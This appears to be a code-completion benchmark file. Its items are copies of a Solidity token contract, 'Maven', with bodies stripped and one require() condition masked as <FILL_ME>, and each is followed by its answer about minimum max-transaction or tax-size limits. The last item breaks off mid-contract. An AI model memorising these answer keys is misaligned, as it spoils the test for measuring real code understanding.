developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
require(<FILL_ME>)
require((_tTotal * percentSell) / divisorSell >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply.");
_maxTxAmountBuy = (_tTotal * percentBuy) / divisorBuy;
_maxTxAmountSell = (_tTotal * percentSell) / divisorSell;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| (_tTotal*percentBuy)/divisorBuy>=(_tTotal/1000),"Max Transaction amt must be above 0.1% of total supply." | 153,637 | (_tTotal*percentBuy)/divisorBuy>=(_tTotal/1000) |
"Max Transaction amt must be above 0.1% of total supply." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
require((_tTotal * percentBuy) / divisorBuy >= (_tTotal / 1000), "Max Transaction amt must be above 0.1% of total supply.");
require(<FILL_ME>)
_maxTxAmountBuy = (_tTotal * percentBuy) / divisorBuy;
_maxTxAmountSell = (_tTotal * percentSell) / divisorSell;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| (_tTotal*percentSell)/divisorSell>=(_tTotal/1000),"Max Transaction amt must be above 0.1% of total supply." | 153,637 | (_tTotal*percentSell)/divisorSell>=(_tTotal/1000) |
"Higher tax TX size must be above 0.25%." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
require(<FILL_ME>)
_highTaxSize = (_tTotal * percent) / divisor;
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| (_tTotal*percent)/divisor>=((_tTotal*25)/10000),"Higher tax TX size must be above 0.25%." | 153,637 | (_tTotal*percent)/divisor>=((_tTotal*25)/10000) |
"Cannot set below 0.036%" | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
